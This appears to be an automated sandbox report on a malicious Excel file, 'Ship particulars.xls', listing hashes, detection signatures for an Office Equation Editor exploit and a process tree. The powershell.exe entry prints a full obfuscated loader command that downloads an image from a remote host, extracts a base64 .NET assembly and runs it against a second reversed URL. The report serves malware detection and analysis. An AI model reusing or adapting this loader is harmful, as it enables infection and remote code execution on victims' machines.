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Windows
Analysis Report
Ship particulars.xls
Overview
General Information
| Sample name: | Ship particulars.xls |
| Analysis ID: | 1467087 |
| MD5: | 1746950a937d2735d7ad8b8633393471 |
| SHA1: | 3745c72e69666f9799f25d298f71ea05844a0226 |
| SHA256: | 91f02087f468183375ca7489c8936bb562e6d76a4cf39d6402aa9ee672e1c478 |
| Tags: | xls |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
AI detected suspicious Excel or Word document
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 1324 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
WINWORD.EXE (PID: 1432 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3276 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3352 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat ingfollowe rswithflow erese.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3440 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " ('SeVlink = 8ZKhttps ://uploadd eimagens.c om.br/i'+' mages/004/ 807/053/or iginal/new _i'+'mage. jpg?171984 '+'62358ZK ; SeVwebCl ient = New -Object Sy stem.Net.W ebClient; try { SeVd ownloadedD ata = SeVw ebClient.D ownloadDat a(SeVlink) } catch { Write-Hos t 8ZKFaile d To downl oad data f rom SeV'+' link'+'8ZK -Foregrou ndColor Re d; exit }; i'+'f'+' (SeVdownlo adedData - ne SeVnull ) { SeVima geText = [ System.Tex t.Encoding '+']::UTF8 .GetString (SeVdownlo adedData); SeVstartF lag = 8ZK< <BASE64_ST ART>>8ZK; SeVendFlag = 8ZK<<BA SE64_END>> 8ZK; SeVst artIndex = SeVimageT ext.IndexO f(SeVstart Flag); SeV endIndex = SeVimageT ext.IndexO f(SeVendFl ag); if (S eVstartInd ex -ge 0 - and SeVend I'+'ndex - gt SeVsta' +'rtIndex) { SeVs'+' tar'+'tInd ex += SeVs tartFlag.L ength; SeV '+'ba'+'se 64L'+'engt h = SeVend Inde'+'x - SeVstartI ndex; SeVb a'+'se64Co mmand = Se VimageText .Substring (SeVstartI ndex, SeVb ase64Lengt h); SeVcom mandBytes = [System. Convert]:: FromBase64 String(SeV base64Comm and); SeVl oadedAssem bly = [Sys tem.Reflec tion.A'+'s sembly]::L oad(SeVcom mandBytes) ; SeVtyp'+ 'e = SeVlo adedAssemb ly.GetTyp' +'e(8ZKRun PE.Home8ZK ); SeVmeth od = SeVty pe.Ge'+'tM ethod(8ZKV AI8ZK).Inv oke(SeVnul l, [object []] '+'(8Z Ktxt.SERO/ 44133/931. 871.64.891 //:ptth8ZK , 8ZKd'+' esativado8 ZK , 8ZKde sativado8Z K , 8ZK'+' desativado 8ZK,8ZKReg Asm8ZK,8ZK 8ZK)) } }' ).rEplaCE( '8ZK',[STr iNg][ChAr] 39).rEplaC E(([ChAr]8 3+[ChAr]10 1+[ChAr]86 ),[STriNg] [ChAr]36)| &( $pshoM e[4]+$psHo me[34]+'X' )" MD5: EB32C070E658937AA9FA9F3AE629B2B8)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
| |
| INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
Exploits |   |
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| Source: | Author: Joe Security: | ||
| Source: | Author: Joe Security: | ||
System Summary | |
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| Source: | Author: Florian Roth (Nextron Systems): | ||